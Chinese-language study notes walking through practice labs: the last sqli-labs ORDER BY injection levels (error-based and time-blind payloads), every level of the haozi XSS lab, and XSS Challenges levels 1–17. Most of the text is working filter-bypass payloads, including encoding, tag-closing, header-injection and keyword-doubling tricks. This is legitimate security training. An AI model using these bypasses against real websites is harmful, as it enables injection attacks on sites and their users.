
我们根据提示输入sort=1尝试出现了一个表格
表格
输入一个单引号可以进行报错注入
报错
因为是一个表格所以order by后面不能进行联合查询,但是可以用desc或asc进行排序
排序
我们尝试一下报错注入?sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
报错注入成功
尝试一下时间盲注
?sort=1 and if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))
盲注成功

less-47 order by clause-error-single quote

使用单引号闭合,其余和46一样,可以使用报错注入。

less-48

这一关关闭了报错无法使用报错注入但可以使用时间盲注

less-49

同样和47一样没有报错显示用延时注入

less-50

这一关可以使用报错注入不过这里还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行,也可以延时注入。借鉴38关
函数

less-51

使用单引号闭合可以报错注入,延时注入,堆叠注入

less-52

参数整型,没有报错显示,只能使用堆叠或延时注入

less-53

参数是字符型,单引号闭合,没有报错显示,和52一样

less-54

只有10次输入机会,超过十次所有表名列明等会随机重置,单引号闭合

less-55

有14次机会,id加括号的整数

less-56

单引号括号闭合

剩下的关卡是限制查询次数,变更闭合方式找到闭合绕过限制即可注入

haozixss线上靶场学习

haozixss线上靶场学习

haozixss简介

haozi是一个在线练习xss的平台网址为https://xss.haozi.me/

haozixss学习通过

打开靶场地址首先需要输入昵称然后就可以进入关卡
登录
提示

0x00

这个游戏是要弹出图片显示出yes才能过关,首先来看第一关
第一关
可以看到后端代码并没有对输入做限制直接构造弹窗代码<script>alert(1)</script>
成功
可以看到成功出现过关图片

0x01

第二关
可以看到我们的输入包裹在一textarea标签中我们绕过的方法是闭合textarea标签构造语句</textarea><script>alert(1)</script>
成功

0x02

第三关
这里给出的限制是条件是input标签,我们可以尝试闭合input标签绕过"><script>alert(1)</script>
成功

0x03

第四关
这一关使用replace方法过滤了圆括号替换为空我们可以通过实体编码括号或反引号来过<img src=1 onerror="alert`1`"> 或者 <img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>
成功

0x04

第五关
这一关和第四关类似只不过将反引号也过滤了可以使用实体编码绕过
<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>
成功

0x05

第六关
这一关是限制了右注释符,并将有注释符转化为emoji表情,可以通过闭合注释来绕过使用--!><img src=1 onerror=alert(1)>来绕过
成功

0x06

第七关
这一关将auto和on开头的词加上等于号就会变成下划线,加上大于号大于号也会变成下滑线,也就是说过滤了autoforce和onerror事件。我们可以使用一个换行的技巧前题是要加入一个type属性值image和src映射路径属性,然后再让等于号和属性分开

type="image" src=1 onerror
=alert(1)

成功

0x07

第八关
这里使用正则将<>和</>进行了限制,也就是说智能 < 或者 > ,总之不能闭合标签,使用img标签来过<img src=1 onerror=alert(1)>
成功

0x08

第九关
这里对</ style>进行过滤替换,并且style标签智能出现文本或者符号,js无法生效,可以模仿0x06的换行来绕过

</style
><img src=1 onerror=alert(1)>

</style
><script>alert`1`</script>

</style
><svg onload=alert(1)>

成功

0x09

第十关
这里必须是给定url,后面用正常闭合就可以https://www.segmentfault.com>"img src=1 onerror="alert(1)
成功

0x0A

第十一关
这里对一些符号进行了过滤转换为了实体编码,但img的src里是认实体编码的,这样直接和0x09一样直接输入就过了https://www.segmentfault.com.haozi.me/j.js引入第三方js或者使用url@语法进行跳转调用
成功

0x0B

第十二关
这里是将所有的字母转换成了大写,所以将alert(1)实体编码可以绕过
<img src=1 onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;">
成功

0x0C

第十三关
这里增加了过滤script依旧使用实体编码绕过<img src=1 onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;">
成功

0x0D

第十四关
这里使用正则过滤了<、/、”、’这四种符号,并且指定了我们的input在注释语句中,首先考虑逃出注释使用右注释符闭合,不过这里注意我们在使用语句alert(1)时要换行。

-->
alert(1)
-->

成功

0x0E

第十五关
这里用正则过滤了所有字母,并将小写转为大写,输入script标签就会转为_CRIPT,所以这里只能使用一个特殊符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。<ſvg onload=&#97;&#108;&#101;&#114;&#116;(1)>
成功

0x0F

第十六关
这里对一大堆符号进行了过滤,只要输入就会被转换为实体编码,并且在img标签中输入,html可以识别转换的编码,所以我们先闭合然后输入js事件函数alert再通过注释符将后面的注释就可以了

');alert(1)
-->

成功

0x10

第十七关
这里是用window.data,这是window调用了全局变量,正好alert在window的全局中存在可以执行
成功

0x11

第十八关
这里同样对一堆符号进行了过滤但我们发现双引号转义为"其实这里并没有将双引号成功过滤,还可以使用绕过");alert("1
成功

0x12

最后一关
这里将双引号转换为"和上一关相似,不同处是这里在console中输出,但console.log不在html标签里,也就相当于在html标签外面不能被编码,所以只能选择先在"的前面加上一个转义符在进行转义,或者闭合script标签绕过。

#法1
\");alert(1)//
#法2
\");alert(2)
-->
#法3
</script>
<script>alert(1)</script>

成功

xss总结

只要能闭合,让输入的成功以js执行就行

xss challenges学习

xss challenges学习

xss challenge简介

xss challenge是一个xss漏洞练习的平台,安装很简单,解压到phpstuday的www目录下访问即可。
xss challenge

xsschallecge通关学习

level 1 学习

第一关
可以在url中看到有一个参数传递
参数
源码
第一关源码
可以看到php代码中接收到name并没有做任何处理直接展示,我们直接在参数中输入<script>alert(1)</script>
可以看到成功弹窗
点击确定后跳转到第二关

level 2 学习

第二关
我们直接尝试第一关的语句,没有弹窗但显示到了页面上语句
没有弹窗
查看源码
源码
发现使用htmlspecialchars函数把预定义的字符转换成了html实体
没有弹窗
但是下边input框中的没有使用这个函数就可以构造闭和输入框来产生xss

法1
闭合搜索框来弹窗
直接输入<img src="#" onerror=alert(1)>查看源码
直接输入
我们闭合搜索框输入"><img src="#" onerror=alert(1)>
前边加一个”>首先闭合输入框然后再执行构造语句
弹窗
闭合
法2
鼠标滑过"onmouseover=alert(1)>弹窗
鼠标滑过弹窗
法3
点击搜索框弹窗" onclick=alert(1)>
点击框弹

level 3 学习

补充知识
js中一共有三种注释方式

/*xxxxx*/多行注释
//xxxx 单行注释
<!- xxx 这种注释内容用混淆一般不推荐

第三关
可以看到两个地方都加了转换实体的函数,但是这个函数没有对单引号转换所以可以使用单引号闭合绕过,直接输入"><script>alert(1)</script><"
双引号
发现双引号直接被转义,我们尝试单引号'><script>alert(1)</script><'
单引号绕过
尖括号过滤
可以发现左右尖括号被转义,这里需要右键查看网页源码才能看到
我们需要语句中没有被转义的字符我们构造' onclick=alert(1)
尝试
尝试点击输入框没有弹窗出现,尝试分析页面
页面源码
发现alert后边的单引号没有闭合,我们在语句中加上单引号来闭合

onclick
![成功绕过](xss-challenges学习/2023-03-27-12-42-44.png)
**法2**
在这里我们也可以使用注释方法注释掉后边的单引号内容
写法有一下三种

```js
1 ' onclick=alert(1) //haha
2 ' onclick=alert(1) <!-haha
3 ' onclick=alert(1) /*haha*/

注释绕过
这里也可以使用鼠标移动事件' onmouseover=alert(1) //

level 4学习

补充知识
str_replace()函数以其他字符替换字符串中的一些字符(区分大小写)
str_ireplace()函数执行不区分大小写的搜索
首先查看靶场和源码
查看靶场详细
查看源码我们发现不仅使用了htmlspecialchars函数,并且使用str_replace()函数将左右尖括号替换为空。同样在这里不能使用尖括号,使用onclick=alert(1)尝试
尝试语句
分析可知使用双引号将前面的value进行闭合,再注释掉后面的双引号,或者将双引号闭合
法1
" onclick=alert(1) "
成功
点击成功弹窗
其他方法
使用三种注释来闭合,使用鼠标移动事件来弹窗

level 5 学习

补充知识
strtolower()把所有字符转换为小写函数

五关
通关分析代码首先将大小写统一,然后直接过滤了<script和on关键词,这里无法在使用上述方式绕过,可没有过滤尖括号,可以使用伪协议来进行构造

a标签的一种写法: <a href="javascript:;"></a>

因此构造语句

"><a href="javascript:alert(1)">

这里需要点击才可以触发
绕过成功

也可以直接使用iframe标签直接触发"><iframe src=javascript:alert(1)>
直接执行

level 6 学习

第六关
可以从代码中看到能过滤的都过滤了,但是与第五关相比,没有对大小写进行限制,因此大小写绕过" ><a hrEF="Javascript:alert(1)">
大小写绕过
同样iframe标签也可以。

level 7 学习

第七关
查看代码得知,使用str_replace()函数将常用标签过滤了,而且做了大小写处理,这里利用双写方式绕过

"><a hhrefref="javascscriptript:alert(1)">
"><iframe Ssrcrc=javasscriptcript:alert(1)>

双写绕过
tips:包裹关键词的时候并不是每一个单词都要进行双写,这里一定要保留一个完整的需要被替换的词

level 8 学习

补充知识
html字符实体:html实体是一段以连字号(&)开头,以分号(;)结尾的文本(字符串)实体名称对大小写敏感。它主要是为了解决一下的问题:

1. 解决HTML代码编写中的一些问题。例如需要在网页上显示小于号(<)和大于号(>),由于它们是HTML的预留标签,可能会被误解析为标签。这时就需要将小于号和大于号写成字符实体:
小于号这样写:&lt; 或 &#60;
大于号这样写:&gt; 或 &#62;
2. 键盘上无法打印的符号
3. 连续的空格

第八关
查看代码发现,输入的str先进行了小写转换,然后再经过一些列关键词替换,这里无法使用过滤的关键词和引号进行绕过,在这里面一共有两个输出点,第一是采用htmlspecialchars()函数实体化,第二进行了其次过滤处理,首先尝试伪协议绕过:
javascript:alert(1)
尝试
发现确实过滤替换了,在这里尝试用html字符实体进行尝试绕过可以再在线网站HTML字符实体转换进行转换
转换
成功绕过
同时也可以对script的任意字母进行编码,如对s进行编码从而绕过java&#x73;cript:alert(1)
部分实体
也可以使用tab和回车键进行编码绕过

javascrip&#x09;t:alert(1) 
javascrip&#x0a;t:alert(1)

level 9 学习

第九关
源码:
源码
通过源码可知首先对输入的字符串进行了过滤处理,在最后一步的时候判断是否存在http://头,没有则判定为非法操作,因此在这里可以通过注释符的方式添加进来进行绕过即可。输入javascrip&#x09;t:alert(1)提示连接不合法
提示
这里可以加注释绕过javascrip&#x09;t:alert(1) // http://
添加http头绕过
成功弹窗

level 10 学习

第十关
源码
源码
通过源码分析可知需要传入两个参数一个keyword,另一个t_sort。而且过滤了尖括号,页面中还隐藏了三个元素,并且前两个将值替换为空,最后一个值是过滤了尖括号之后的结果,因此首先尝试基础语句:
尝试
t_sort参数尝试
可以看到尖括号被过滤了,尝试绕过

payload:
" type="password" onclick=alert(1) //
完整的payload:
keyword=hacked by crow&t_sort=" type="text" onclick=alert(1) //
其中//属于必须要的注释符,可以使用其他的注释符进行替换也可

成功绕过
也可以更换事件onmouseover事件

level 11 学习

第11关
分析源代码,可以知道对输入的keyword和t_sort进行了关键词过滤,但是对于str11到str33过滤尖括号,先尝试一下语句看看页面的返回
keyword=hacked by crow & t_sort= <script>alert(1)</script>
查看页面响应
在这里看源码str11参数接受的是http_referer中的值,我们可以使用burp或者hackbr向http_referer参数中构造语句

payload1:
" type='text' onclick=alert(1) //
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在referer中进行构造

成功弹窗

level 12 学习

第12关
同过源码分析可知与11关很像只不过将http_referer替换为了UA因此直接用hackbr等工具直接替换即可

payload1:
" type='text' onclick=alert(1) //
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在user-agent中进行构造

ua中xss

level 13 学习

第13关
经过分析可得出和11、12关一样这里只不过指定的是cookie因此构造如下:

payload1:
" type='text' onclick=alert(1) //
payload2:
" type='text' onmouseover=alert(1) //

// tips:需要在cookies中进行构造

cookie中

level 14 学习

补充知识
exif:可交换图像文件格式(exchangeable image file format 简称exif)是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
事例
Windows下可以直接右键修改这些属性,有些网站可以读取exif信息,当传入一张含有恶意信息的图片的时候,就可以触发payload

14关代码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

分析代码可以看出是跳转到一个能够读取exif信息的网站,但是这个网站存在exif xss漏洞,因此可以直接触发xss,所以只要将src后面的网址进行替换到一个有这样漏洞的网站即可。

level 15 学习

第15关
引入了angular.min.js而且使用ng-include指令包含外部html文件,包含的内容将作为指定元素的子节点。ng-include属性值可以是一个表达式,返回一个文件名,默认情况下,包含文件需要包含在同一个域名下因此可以直接构造src='level1.php?name=<img src=1 onerror=alert(1)>'
成功弹窗

level 16 学习

第16关

从源码可以看出script等均被替换为空格符号,但是这里没有过滤尖括号,可以尝试尖括号过滤<img src=1 onerror=alert(1)>
尝试
出现了新问题空格被替换为空格符号,这里尝试使用%0a来替换空格
当然也可以使用别的符号替换如%0d回车符号等
<img%0dsrc=1 %0donerror=alert(1)>
成功弹窗

level 17 学习

源码
源码
通过源代码和基础的xss反弹代码发现,arg01和arg02的参数在处理之后进行了拼接
拼接
而htmlspecialchars函数会将输入的数据变成html实体,过滤了尖括号和双引号,尝试其他方式绕过?arg01=a&arg02= onmouseover=alert(1)这里在arg02参数后面有一个空格,不然就是将属性与之前的xsf01.swf?进行了连接但是这里由于插件不支持无法演示18、19、20关

后续推荐学习

推荐学习靶场haozi的靶场https://github.com/haozi/xss-demo